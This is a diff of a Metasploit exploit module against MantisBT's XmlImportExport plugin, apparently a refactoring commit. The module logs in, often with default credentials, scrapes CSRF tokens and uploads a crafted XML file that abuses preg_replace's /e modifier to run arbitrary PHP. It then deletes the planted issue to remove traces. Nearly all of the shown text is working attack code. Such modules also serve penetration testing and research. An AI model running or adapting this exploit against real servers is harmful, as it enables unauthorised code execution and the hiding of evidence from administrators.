@@ -16,7 +16,7 @@ def initialize(info = {})
16
16
'Description' => %q{
17
17
This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
18
18
The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
19
- This allows a remote authenticated attacker to execute arbitrary PHP code in the remote machine.
19
+ This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine.
20
20
} ,
21
21
'License' => MSF_LICENSE ,
22
22
'Author' =>
@@ -38,7 +38,7 @@ def initialize(info = {})
38
38
[
39
39
OptString . new ( 'USERNAME' , [ true , 'Username to authenticate as' , 'administrator' ] ) ,
40
40
OptString . new ( 'PASSWORD' , [ true , 'Pasword to authenticate as' , 'root' ] ) ,
41
- OptString . new ( 'TARGETURI' , [ true , 'Base directory path' , '/' ] ) ,
41
+ OptString . new ( 'TARGETURI' , [ true , 'Base directory path' , '/' ] )
42
42
] , self . class )
43
43
end
44
44
@@ -53,49 +53,41 @@ def check
53
53
end
54
54
55
55
def do_login ( )
56
- print_status ( " Checking access to MantisBT..." )
56
+ print_status ( ' Checking access to MantisBT...' )
57
57
res = send_request_cgi ( {
58
58
'method' => 'GET' ,
59
59
'uri' => normalize_uri ( target_uri . path , 'login_page.php' ) ,
60
60
'vars_get' => {
61
- 'return' => normalize_uri ( target_uri . path , 'plugin.php?page=XmlImportExport/import' ) ,
61
+ 'return' => normalize_uri ( target_uri . path , 'plugin.php?page=XmlImportExport/import' )
62
62
}
63
63
} )
64
64
65
- unless res && res . code == 200
66
- print_error ( "Error accesing to MantisBT" )
67
- return false
68
- end
65
+ session_cookie = res . get_cookies
69
66
70
- @cookies = res . get_cookies
67
+ fail_with ( Failure :: NoAccess , 'Error accessing MantisBT' ) unless res && res . code == 200
71
68
72
69
print_status ( 'Logging in...' )
73
70
res = send_request_cgi ( {
74
71
'method' => 'POST' ,
75
72
'uri' => normalize_uri ( target_uri . path , 'login.php' ) ,
76
- 'cookie' => @cookies ,
73
+ 'cookie' => session_cookie ,
77
74
'vars_post' => {
78
75
'return' => normalize_uri ( target_uri . path , 'plugin.php?page=XmlImportExport/import' ) ,
79
76
'username' => datastore [ 'username' ] ,
80
77
'password' => datastore [ 'password' ] ,
81
- 'secure_session' => 'on' ,
78
+ 'secure_session' => 'on'
82
79
}
83
80
} )
84
81
85
- unless res && res . code == 302
86
- print_error ( "Login failed" )
87
- return false
88
- end
89
82
90
- unless res . redirection . to_s !~ /login_page.php/
91
- print_error ( "Wrong credentials" )
92
- fail_with ( Failure ::NoAccess )
93
- end
83
+ fail_with ( Failure ::NoAccess , 'Login failed' ) unless res && res . code == 302
84
+
85
+ fail_with ( Failure ::NoAccess , 'Wrong credentials' ) unless res . redirection . to_s !~ /login_page.php/
94
86
95
- @cookies = "#{ @cookies } #{ res . get_cookies } "
87
+ "#{ session_cookie } #{ res . get_cookies } "
96
88
end
97
89
98
- def upload_xml ( payload_b64 , rand_text , is_check )
90
+ def upload_xml ( payload_b64 , rand_text , cookies , is_check )
99
91
100
92
if is_check
101
93
timeout = 20
@@ -105,34 +97,34 @@ def upload_xml(payload_b64, rand_text, is_check)
105
97
106
98
rand_num = Rex ::Text . rand_text_numeric ( 1 , 9 )
107
99
108
- print_status ( " Checking XmlImportExport plugin..." )
100
+ print_status ( ' Checking XmlImportExport plugin...' )
109
101
res = send_request_cgi ( {
110
102
'method' => 'GET' ,
111
103
'uri' => normalize_uri ( target_uri . path , 'plugin.php' ) ,
112
- 'cookie' => @ cookies,
104
+ 'cookie' => cookies ,
113
105
'vars_get' => {
114
- 'page' => 'XmlImportExport/import' ,
106
+ 'page' => 'XmlImportExport/import'
115
107
}
116
108
} )
117
109
118
110
unless res && res . code == 200
119
- print_error ( " Error trying to access to XmlImportExport/import page..." )
111
+ print_error ( ' Error trying to access XmlImportExport/import page...' )
120
112
return false
121
113
end
122
114
123
115
# Retrieving CSRF token
124
116
if res . body =~ /name="plugin_xml_import_action_token" value="(.*)"/
125
117
csrf_token = Regexp . last_match [ 1 ]
126
118
else
127
- print_error ( " Error trying to read CSRF token" )
119
+ print_error ( ' Error trying to read CSRF token' )
128
120
return false
129
121
end
130
122
131
123
# Retrieving default project id
132
124
if res . body =~ /name="project_id" value="([0-9]+)"/
133
125
project_id = Regexp . last_match [ 1 ]
134
126
else
135
- print_error ( " Error trying to read project id" )
127
+ print_error ( ' Error trying to read project id' )
136
128
return false
137
129
end
138
130
@@ -141,23 +133,23 @@ def upload_xml(payload_b64, rand_text, is_check)
141
133
category_id = Regexp . last_match [ 1 ]
142
134
category_name = Regexp . last_match [ 2 ]
143
135
else
144
- print_error ( " Error trying to read default category" )
136
+ print_error ( ' Error trying to read default category' )
145
137
return false
146
138
end
147
139
148
140
# Retrieving default max file size
149
141
if res . body =~ /name="max_file_size" value="([0-9]+)"/
150
142
max_file_size = Regexp . last_match [ 1 ]
151
143
else
152
- print_error ( " Error trying to read default max file size" )
144
+ print_error ( ' Error trying to read default max file size' )
153
145
return false
154
146
end
155
147
156
148
# Retrieving default step
157
149
if res . body =~ /name="step" value="([0-9]+)"/
158
150
step = Regexp . last_match [ 1 ]
159
151
else
160
- print_error ( " Error trying to read default step value" )
152
+ print_error ( ' Error trying to read default step value' )
161
153
return false
162
154
end
163
155
@@ -197,13 +189,13 @@ def upload_xml(payload_b64, rand_text, is_check)
197
189
data . add_part ( "#{ category_id } " , nil , nil , "form-data; name=\" defaultcategory\" " )
198
190
data_post = data . to_s
199
191
200
- print_status ( " Sending payload..." )
192
+ print_status ( ' Sending payload...' )
201
193
return send_request_cgi ( {
202
194
'method' => 'POST' ,
203
195
'uri' => normalize_uri ( target_uri . path , 'plugin.php?page=XmlImportExport/import_action' ) ,
204
- 'cookie' => @ cookies,
196
+ 'cookie' => cookies ,
205
197
'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
206
- 'data' => data_post ,
198
+ 'data' => data_post
207
199
} , timeout )
208
200
end
209
201
@@ -220,37 +212,37 @@ def exec_php(php_code, is_check = false)
220
212
221
213
rand_text = Rex ::Text . rand_text_alpha ( 5 , 8 )
222
214
223
- do_login ( )
215
+ cookies = do_login ( )
224
216
225
- res_payload = upload_xml ( payload_b64 , rand_text , is_check )
217
+ res_payload = upload_xml ( payload_b64 , rand_text , cookies , is_check )
226
218
227
219
# When a meterpreter session is active, communication with the application is lost.
228
220
# Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it.
229
- do_login ( )
221
+ cookies = do_login ( )
230
222
231
- print_status ( "Deleting the issue (#{ rand_text } )..." )
223
+ print_status ( "Deleting issue (#{ rand_text } )..." )
232
224
res = send_request_cgi ( {
233
225
'method' => 'GET' ,
234
226
'uri' => normalize_uri ( target_uri . path , 'my_view_page.php' ) ,
235
- 'cookie' => @ cookies,
227
+ 'cookie' => cookies
236
228
} )
237
229
238
230
unless res && res . code == 200
239
- print_error ( " Error trying to access to My View page" )
231
+ print_error ( ' Error trying to access My View page' )
240
232
return false
241
233
end
242
234
243
235
if res . body =~ /title="\[ @[0-9]+@\] #{ rand_text } ">0+([0-9]+)<\/ a>/
244
236
issue_id = Regexp . last_match [ 1 ]
245
237
else
246
- print_error ( " Error trying to retrieve the issue id" )
238
+ print_error ( ' Error trying to retrieve issue id' )
247
239
return false
248
240
end
249
241
250
242
res = send_request_cgi ( {
251
243
'method' => 'GET' ,
252
244
'uri' => normalize_uri ( target_uri . path , 'bug_actiongroup_page.php' ) ,
253
- 'cookie' => @ cookies,
245
+ 'cookie' => cookies ,
254
246
'vars_get' => {
255
247
'bug_arr[]' => issue_id ,
256
248
'action' => 'DELETE' ,
@@ -260,14 +252,14 @@ def exec_php(php_code, is_check = false)
260
252
if res && res . body =~ /name="bug_actiongroup_DELETE_token" value="(.*)"\/ >/
261
253
csrf_token = Regexp . last_match [ 1 ]
262
254
else
263
- print_error ( " Error trying to retrieve CSRF token" )
255
+ print_error ( ' Error trying to retrieve CSRF token' )
264
256
return false
265
257
end
266
258
267
259
res = send_request_cgi ( {
268
260
'method' => 'POST' ,
269
261
'uri' => normalize_uri ( target_uri . path , 'bug_actiongroup.php' ) ,
270
- 'cookie' => @ cookies,
262
+ 'cookie' => cookies ,
271
263
'vars_post' => {
272
264
'bug_actiongroup_DELETE_token' => csrf_token ,
273
265
'bug_arr[]' => issue_id ,
@@ -276,7 +268,7 @@ def exec_php(php_code, is_check = false)
276
268
} )
277
269
278
270
if res && res . code == 302 || res . body !~ /Issue #{ issue_id } not found/
279
- print_good ( "Issue number (#{ issue_id } ) removed" )
271
+ print_status ( "Issue number (#{ issue_id } ) removed" )
280
272
else
281
273
print_error ( "Removing issue number (#{ issue_id } ) has failed" )
282
274
return false
@@ -292,7 +284,7 @@ def exec_php(php_code, is_check = false)
292
284
293
285
def exploit
294
286
unless exec_php ( payload . encoded )
295
- fail_with ( Failure ::Unknown , " #{ peer } - Exploit failed, aborting." )
287
+ fail_with ( Failure ::Unknown , ' Exploit failed, aborting.' )
296
288
end
297
289
end
298
290
end
0 commit comments